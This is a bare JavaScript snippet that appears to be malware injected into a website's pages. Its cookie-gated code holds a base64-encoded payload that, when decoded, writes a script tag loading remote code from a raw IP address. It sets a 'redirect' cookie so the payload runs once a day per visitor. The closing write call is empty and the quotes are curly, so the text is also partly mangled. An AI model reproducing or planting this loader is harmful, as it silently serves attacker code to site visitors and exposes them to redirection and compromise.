function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}